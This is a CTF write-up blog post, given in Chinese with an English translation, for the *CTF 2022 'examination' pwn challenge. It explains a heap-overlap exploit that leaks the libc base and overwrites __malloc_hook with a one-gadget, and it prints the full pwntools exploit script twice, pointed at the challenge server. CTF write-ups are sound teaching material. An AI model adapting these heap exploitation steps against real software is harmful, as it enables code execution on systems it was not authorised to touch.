题目#

https://gitee.com/csomebro/ctftask/blob/master/2022-04_%2ACTF/examination.zip

解题#

角色扮演的 pwn 题，可以切换学生和老师

发现了好多漏洞，估计是考漏洞的利用，当然解法可能就不止一种

主要利用的漏洞：无符号数减法负数溢出，student role 下的 set mode 中可以修改内存中的指针导致堆块堆叠

只用到一次 free

思路，构造一个 mode chunk 使得这个 chunk 在 comment chunk1 的上方，以及另一个 comment chunk2 在其下方，然后 pray 一下，将指针下移 16 个字节，使得可以操控 comment chunk 的 size 位置，修改 size 为 0x421 绕过 tcache，释放到 unsorted bin，同时布置好 comment chunk2 的中伪造一个 size 位置，这个时候重新在分配一个和 comment chunk1 大小相同的 commend chunk 就会切割 unsorted bin，使得 main_arena 的地址向后推移，写入 comment chunk2，这个时候 read comment chunk2 就能够泄露 libc 基址，同样的手法，再 add student，分配的 student node 和 test node 都会切割 unsorted bin 中的块，这个时候切割的 unsorted bin 就是之前堆块堆叠导致的 comment chunk2，那我们就能够控制 student node 和 test node，修改 test node 中的 comment 地址__malloc_hook，再向 malloc_hook 中写入 ogg，再调用 teacher role 的 pray，就能够 getshell

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4
# io = process(['./ld-2.31.so', './examination'], env={'LD_PRELOAD':'./libc-2.31.so'})
5
io = remote('124.70.130.92', 60001)
6

7
roleg = 0
8
idg = -1
9
lazy_map = {}
10
reward_map = {}
11

12
def change_role(role):
13
    global roleg, idg
14
    roleg = role
15
    if role == 0:
16
        idg = -1
17
    io.sendlineafter('choice>> ', '5')
18
    io.sendlineafter('role: <0.teacher/1.student>: ', str(role))
19

20
def t_addstu(quesqtion_num):
21
    (lambda x: (change_role(x) if roleg != x else 0))(0)
22
    io.sendlineafter('choice>> ', '1')
23
    rt = io.recv(5)
24
    if 'enter' in rt:
25
        io.sendlineafter('questions: ',str(quesqtion_num))
26
    else:
27
        print rt
28

29
def t_getshell():
30
    (lambda x: (change_role(x) if roleg != x else 0))(0)
31
    io.sendlineafter('choice>> ', '6')
32

33

34
def t_givescore():
35
    (lambda x: (change_role(x) if roleg != x else 0))(0)
36
    io.sendlineafter('choice>> ', '2')
37
    io.recvuntil('marking testing papers.....\n')
38
    rt = io.recvuntil('finish\n', drop=True)
39
    rt = rt.strip().split('\n')
40
    def f(ss):
41
        ss = ss.replace('score for the ', '')
42
        # print(ss)
43
        a = int(ss[:ss.find('th')])
44
        b = int(ss[ss.find('is ')+3:])
45
        return (a, b)
46
    ans = []
47
    # print(rt)
48
    for sr in rt:
49
        # print(sr)
50
        if 'b@d!' in sr:
51
            continue
52
        # print sr
53
        ans.append(f(sr))
54
    return ans
55

56
def t_comment(_id, comment, size):
57
    (lambda x: (change_role(x) if roleg != x else 0))(0)
58
    io.sendlineafter('choice>> ', '3')
59
    io.sendlineafter('which one? > ', str(_id))
60
    rt = io.recv(5)
61
    if 'pleas' in rt:
62
        io.sendlineafter('size of comment: ', str(size))
63
    io.sendlineafter('ur comment:\n', comment)
64

65
def t_free(_id):
66
    (lambda x: (change_role(x) if roleg != x else 0))(0)
67
    io.sendlineafter('choice>> ', '4')
68
    io.sendlineafter('which student id to choose?\n', str(_id))
69
    lazy_map[_id] = 0
70
    reward_map[_id] = 0
71

72

73
def s_change_id(_id):
74
    global idg
75
    (lambda x: (change_role(x) if roleg != x else 0))(1)
76
    io.sendlineafter('choice>> ', '6')
77
    io.sendlineafter('input your id: ', str(_id))
78
    idg = _id
79

80
def s_pray(_id):
81
    (lambda x: (change_role(x) if roleg != x else 0))(1)
82
    (lambda x: (s_change_id(x) if idg != x else 0))(_id)
83
    io.sendlineafter('choice>> ', '3')
84
    lazy_map[_id] = 1 - lazy_map.get(_id, 0)
85

86
def s_set_mode(_id, mode):
87
    (lambda x: (change_role(x) if roleg != x else 0))(1)
88
    (lambda x: (s_change_id(x) if idg != x else 0))(_id)
89
    io.sendlineafter('choice>> ', '4')
90
    rt = io.recvuntil('\n')
91
    if 'mode' in rt:
92
        io.sendline(mode)
93
    else:
94
        io.sendline(str(mode))
95

96
def s_check_review(_id, to_reward, fx, has_comment, tf=lambda x: x):
97
    if reward_map.get(_id, 0) == 1:
98
        return
99
    if to_reward:
100
        s_pray(_id)
101
        while True:
102
            tmp = t_givescore()
103
            tmp = dict(tmp)
104
            assert _id in tmp
105
            if tmp[_id] < 10:
106
                break
107
    (lambda x: (change_role(x) if roleg != x else 0))(1)
108
    (lambda x: (s_change_id(x) if idg != x else 0))(_id)
109
    io.sendlineafter('choice>> ', '2')
110
    if to_reward:
111
        io.recvuntil('Good Job! Here is your reward! ')
112
        target_addr = int(io.recvuntil('\n', drop=True), 16)
113
        tf(target_addr)
114
        target_addr = fx(target_addr)
115
        io.sendafter('add 1 to wherever you want! addr: ', str(target_addr))
116
        reward_map[_id] = 1
117
    if has_comment:
118
        io.recvuntil('here is the review:\n')
119

120

121

122
io.sendlineafter('role: <0.teacher/1.student>: ', str(roleg))
123
for i in range(7):
124
    t_addstu(9)
125

126
# t_comment(6, 'sss', )
127
# s_set_mode(3, 'asdf')
128
s_set_mode(4, 'asdf')
129
s_set_mode(5, 'asdf')
130

131
t_comment(6, 'sss', 0x300)
132
t_comment(5, 'a'*0x100+p64(0)+p64(0x201), 0x300)
133

134
s_pray(5)
135
s_set_mode(5, 32)
136
s_pray(5)
137
s_set_mode(5, 'q'*8 + p64(0x421))
138

139
t_free(6)
140
t_comment(4, 'sss', 0x300)
141

142
s_check_review(5, False, null, True)
143
main_arena = u64(io.recv(8)) - 96
144

145
libc_base = main_arena - 0x00001ECB80
146
log.success("libc_base: " + hex(libc_base))
147

148
t_addstu(1)
149
t_comment(6, 'sss', 0x300)
150

151
heap_addr = 0
152
def ftmp(addr):
153
    global heap_addr
154
    heap_addr = addr
155

156
s_check_review(6, True, lambda x: x-0x10, True, ftmp)
157
log.success('heap_addr: ' + hex(heap_addr))
158

159
libc = ELF('./libc-2.31.so')
160
malloc_hook = libc.sym['__malloc_hook'] + libc_base
161

162
p = p64(heap_addr+0x30) + p64(0)*2 + p64(0x100000001) + p64(0) + p64(0x21) + p64(0x100000001) + p64(malloc_hook) + p64(8)
163
t_comment(5, p, 0x300)
164

165
ogg = [0xe3b2e, 0xe3b31, 0xe3b34]
166

167
t_comment(6, p64(ogg[1]+libc_base), 0x300)
168

169
t_getshell()
170

171
# gdb.attach(io)
172

173
io.interactive()

Translate by Kimi-K3

Challenge#

https://gitee.com/csomebro/ctftask/blob/master/2022-04_%2ACTF/examination.zip

Solution#

A role-playing pwn challenge where you can switch between student and teacher roles.

I found quite a few vulnerabilities — it’s probably testing vulnerability exploitation, so there is naturally more than one possible solution.

The main vulnerabilities used: negative overflow from unsigned subtraction, and the set mode function under the student role, which lets you modify a pointer in memory and cause heap chunk overlapping.

Only a single free is used.

The idea: craft a mode chunk so that it sits above comment chunk1, with another comment chunk2 below it. Then use pray to move the pointer down by 16 bytes, so that we can manipulate the size field of the comment chunk. Change the size to 0x421 to bypass tcache and free it into the unsorted bin. At the same time, place a fake size field inside comment chunk2. Then, when we allocate a new comment chunk with the same size as comment chunk1, it will split the unsorted bin, pushing the main_arena address forward so that it gets written into comment chunk2. At that point, reading comment chunk2 leaks the libc base address. Using the same technique, add a student again — the allocated student node and test node will both split chunks from the unsorted bin, and the unsorted bin chunk being split here is the very comment chunk2 that resulted from the earlier heap chunk overlap. That means we can control the student node and the test node. Modify the comment pointer in the test node to __malloc_hook, write a one-gadget (ogg) into malloc_hook, then call the teacher role’s pray to getshell.

Exp#

1
from pwn import *
2

3
context.log_level='debug'
4
# io = process(['./ld-2.31.so', './examination'], env={'LD_PRELOAD':'./libc-2.31.so'})
5
io = remote('124.70.130.92', 60001)
6

7
roleg = 0
8
idg = -1
9
lazy_map = {}
10
reward_map = {}
11

12
def change_role(role):
13
    global roleg, idg
14
    roleg = role
15
    if role == 0:
16
        idg = -1
17
    io.sendlineafter('choice>> ', '5')
18
    io.sendlineafter('role: <0.teacher/1.student>: ', str(role))
19

20
def t_addstu(quesqtion_num):
21
    (lambda x: (change_role(x) if roleg != x else 0))(0)
22
    io.sendlineafter('choice>> ', '1')
23
    rt = io.recv(5)
24
    if 'enter' in rt:
25
        io.sendlineafter('questions: ',str(quesqtion_num))
26
    else:
27
        print rt
28

29
def t_getshell():
30
    (lambda x: (change_role(x) if roleg != x else 0))(0)
31
    io.sendlineafter('choice>> ', '6')
32

33

34
def t_givescore():
35
    (lambda x: (change_role(x) if roleg != x else 0))(0)
36
    io.sendlineafter('choice>> ', '2')
37
    io.recvuntil('marking testing papers.....\n')
38
    rt = io.recvuntil('finish\n', drop=True)
39
    rt = rt.strip().split('\n')
40
    def f(ss):
41
        ss = ss.replace('score for the ', '')
42
        # print(ss)
43
        a = int(ss[:ss.find('th')])
44
        b = int(ss[ss.find('is ')+3:])
45
        return (a, b)
46
    ans = []
47
    # print(rt)
48
    for sr in rt:
49
        # print(sr)
50
        if 'b@d!' in sr:
51
            continue
52
        # print sr
53
        ans.append(f(sr))
54
    return ans
55

56
def t_comment(_id, comment, size):
57
    (lambda x: (change_role(x) if roleg != x else 0))(0)
58
    io.sendlineafter('choice>> ', '3')
59
    io.sendlineafter('which one? > ', str(_id))
60
    rt = io.recv(5)
61
    if 'pleas' in rt:
62
        io.sendlineafter('size of comment: ', str(size))
63
    io.sendlineafter('ur comment:\n', comment)
64

65
def t_free(_id):
66
    (lambda x: (change_role(x) if roleg != x else 0))(0)
67
    io.sendlineafter('choice>> ', '4')
68
    io.sendlineafter('which student id to choose?\n', str(_id))
69
    lazy_map[_id] = 0
70
    reward_map[_id] = 0
71

72

73
def s_change_id(_id):
74
    global idg
75
    (lambda x: (change_role(x) if roleg != x else 0))(1)
76
    io.sendlineafter('choice>> ', '6')
77
    io.sendlineafter('input your id: ', str(_id))
78
    idg = _id
79

80
def s_pray(_id):
81
    (lambda x: (change_role(x) if roleg != x else 0))(1)
82
    (lambda x: (s_change_id(x) if idg != x else 0))(_id)
83
    io.sendlineafter('choice>> ', '3')
84
    lazy_map[_id] = 1 - lazy_map.get(_id, 0)
85

86
def s_set_mode(_id, mode):
87
    (lambda x: (change_role(x) if roleg != x else 0))(1)
88
    (lambda x: (s_change_id(x) if idg != x else 0))(_id)
89
    io.sendlineafter('choice>> ', '4')
90
    rt = io.recvuntil('\n')
91
    if 'mode' in rt:
92
        io.sendline(mode)
93
    else:
94
        io.sendline(str(mode))
95

96
def s_check_review(_id, to_reward, fx, has_comment, tf=lambda x: x):
97
    if reward_map.get(_id, 0) == 1:
98
        return
99
    if to_reward:
100
        s_pray(_id)
101
        while True:
102
            tmp = t_givescore()
103
            tmp = dict(tmp)
104
            assert _id in tmp
105
            if tmp[_id] < 10:
106
                break
107
    (lambda x: (change_role(x) if roleg != x else 0))(1)
108
    (lambda x: (s_change_id(x) if idg != x else 0))(_id)
109
    io.sendlineafter('choice>> ', '2')
110
    if to_reward:
111
        io.recvuntil('Good Job! Here is your reward! ')
112
        target_addr = int(io.recvuntil('\n', drop=True), 16)
113
        tf(target_addr)
114
        target_addr = fx(target_addr)
115
        io.sendafter('add 1 to wherever you want! addr: ', str(target_addr))
116
        reward_map[_id] = 1
117
    if has_comment:
118
        io.recvuntil('here is the review:\n')
119

120

121

122
io.sendlineafter('role: <0.teacher/1.student>: ', str(roleg))
123
for i in range(7):
124
    t_addstu(9)
125

126
# t_comment(6, 'sss', )
127
# s_set_mode(3, 'asdf')
128
s_set_mode(4, 'asdf')
129
s_set_mode(5, 'asdf')
130

131
t_comment(6, 'sss', 0x300)
132
t_comment(5, 'a'*0x100+p64(0)+p64(0x201), 0x300)
133

134
s_pray(5)
135
s_set_mode(5, 32)
136
s_pray(5)
137
s_set_mode(5, 'q'*8 + p64(0x421))
138

139
t_free(6)
140
t_comment(4, 'sss', 0x300)
141

142
s_check_review(5, False, null, True)
143
main_arena = u64(io.recv(8)) - 96
144

145
libc_base = main_arena - 0x00001ECB80
146
log.success("libc_base: " + hex(libc_base))
147

148
t_addstu(1)
149
t_comment(6, 'sss', 0x300)
150

151
heap_addr = 0
152
def ftmp(addr):
153
    global heap_addr
154
    heap_addr = addr
155

156
s_check_review(6, True, lambda x: x-0x10, True, ftmp)
157
log.success('heap_addr: ' + hex(heap_addr))
158

159
libc = ELF('./libc-2.31.so')
160
malloc_hook = libc.sym['__malloc_hook'] + libc_base
161

162
p = p64(heap_addr+0x30) + p64(0)*2 + p64(0x100000001) + p64(0) + p64(0x21) + p64(0x100000001) + p64(malloc_hook) + p64(8)
163
t_comment(5, p, 0x300)
164

165
ogg = [0xe3b2e, 0xe3b31, 0xe3b34]
166

167
t_comment(6, p64(ogg[1]+libc_base), 0x300)
168

169
t_getshell()
170

171
# gdb.attach(io)
172

173
io.interactive()

[2022*CTF] Pwn examination wp

https://blog.csome.cc/p/xinCTF-pwn-wp/

作者

Csome

发布于

2022-04-19

许可协议

CC BY-SA 3.0

[2022春秋杯] Pwn chunzhiIot wp

[2022HFCTF] Pwn babygame